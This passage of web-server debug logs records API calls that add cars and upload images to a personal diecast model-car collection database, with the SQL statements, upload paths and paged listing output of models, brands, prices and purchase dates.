      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:28:24.336Z server-connect:output insert: { affected: 1, identity: 139 }
2026-02-03T13:28:24.336Z server-connect:app Executing action step condition
2026-02-03T13:28:24.336Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:28:24.336Z server-connect:app Executing action step upload
2026-02-03T13:28:24.336Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:28:24.336Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:28:24.336Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:28:24.336Z server-connect:upload Processing file: {
  name: 'ID068850_O3zzqLkyMS2A.jpeg',
  data: <Buffer >,
  size: 126187,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-6-20378841770125304330',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'eb955b7def8ce47a330e511cbee964f3',
  mv: [Function: mv]
}
2026-02-03T13:28:24.336Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg',
  rel: 'public/assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg'
}
2026-02-03T13:28:24.336Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg',
  rel: 'assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg'
}
2026-02-03T13:28:24.336Z server-connect:output upload_image: [
  {
    name: 'ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg',
    path: '/public/assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg',
    url: '/assets/images/diecast/ID068850_O3zzqLkyMS2A_c4164909-d875-4ec3-9efe-5679a86c7655.jpeg',
    type: 'image/jpeg',
    size: 126187
  }
]
2026-02-03T13:28:24.336Z server-connect:app Executing action step repeat
2026-02-03T13:28:24.336Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:28:24.337Z server-connect:app Executing action step insert
2026-02-03T13:28:24.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:28:24.338Z server-connect:output images: { affected: 1, identity: 157 }
2026-02-03T13:28:24.338Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:28:24.338Z server-connect:output condition: undefined
2026-02-03T13:28:24.338Z server-connect:output condition: undefined
2026-02-03T13:28:24.553Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:28:24.553Z server-connect:app Executing action step identify
2026-02-03T13:28:24.553Z server-connect:app options: { provider: 'security' }
2026-02-03T13:28:24.553Z server-connect:output identity: 1
2026-02-03T13:28:24.553Z server-connect:app Executing action step restrict
2026-02-03T13:28:24.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:28:24.554Z server-connect:output restrict: undefined
2026-02-03T13:28:24.554Z server-connect:app Executing action step paged
2026-02-03T13:28:24.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:28:24.558Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 121,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:29:21.090Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:29:21.091Z server-connect:app Executing action step identify
2026-02-03T13:29:21.091Z server-connect:app options: { provider: 'security' }
2026-02-03T13:29:21.091Z server-connect:output identity: 1
2026-02-03T13:29:21.091Z server-connect:app Executing action step restrict
2026-02-03T13:29:21.091Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:29:21.093Z server-connect:output restrict: undefined
2026-02-03T13:29:21.093Z server-connect:app Executing action step condition
2026-02-03T13:29:21.093Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:29:21.093Z server-connect:app Executing action step insert
2026-02-03T13:29:21.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:29:21.095Z server-connect:output insert: { affected: 1, identity: 140 }
2026-02-03T13:29:21.095Z server-connect:app Executing action step condition
2026-02-03T13:29:21.095Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:29:21.095Z server-connect:app Executing action step upload
2026-02-03T13:29:21.095Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:29:21.095Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:29:21.095Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:29:21.095Z server-connect:upload Processing file: {
  name: 'ID068849_gPu2LAct3fLm.jpeg',
  data: <Buffer >,
  size: 119660,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-7-20378841770125361089',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'f3f16b3cbebc5423d5727f48408b4281',
  mv: [Function: mv]
}
2026-02-03T13:29:21.096Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg',
  rel: 'public/assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg'
}
2026-02-03T13:29:21.096Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg',
  rel: 'assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg'
}
2026-02-03T13:29:21.096Z server-connect:output upload_image: [
  {
    name: 'ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg',
    path: '/public/assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg',
    url: '/assets/images/diecast/ID068849_gPu2LAct3fLm_b9f6e3b4-1d57-40f3-af59-410baad7ffef.jpeg',
    type: 'image/jpeg',
    size: 119660
  }
]
2026-02-03T13:29:21.096Z server-connect:app Executing action step repeat
2026-02-03T13:29:21.096Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:29:21.096Z server-connect:app Executing action step insert
2026-02-03T13:29:21.096Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:29:21.097Z server-connect:output images: { affected: 1, identity: 158 }
2026-02-03T13:29:21.097Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:29:21.097Z server-connect:output condition: undefined
2026-02-03T13:29:21.097Z server-connect:output condition: undefined
2026-02-03T13:29:21.332Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:29:21.333Z server-connect:app Executing action step identify
2026-02-03T13:29:21.333Z server-connect:app options: { provider: 'security' }
2026-02-03T13:29:21.333Z server-connect:output identity: 1
2026-02-03T13:29:21.333Z server-connect:app Executing action step restrict
2026-02-03T13:29:21.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:29:21.334Z server-connect:output restrict: undefined
2026-02-03T13:29:21.334Z server-connect:app Executing action step paged
2026-02-03T13:29:21.334Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:29:21.337Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 122,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
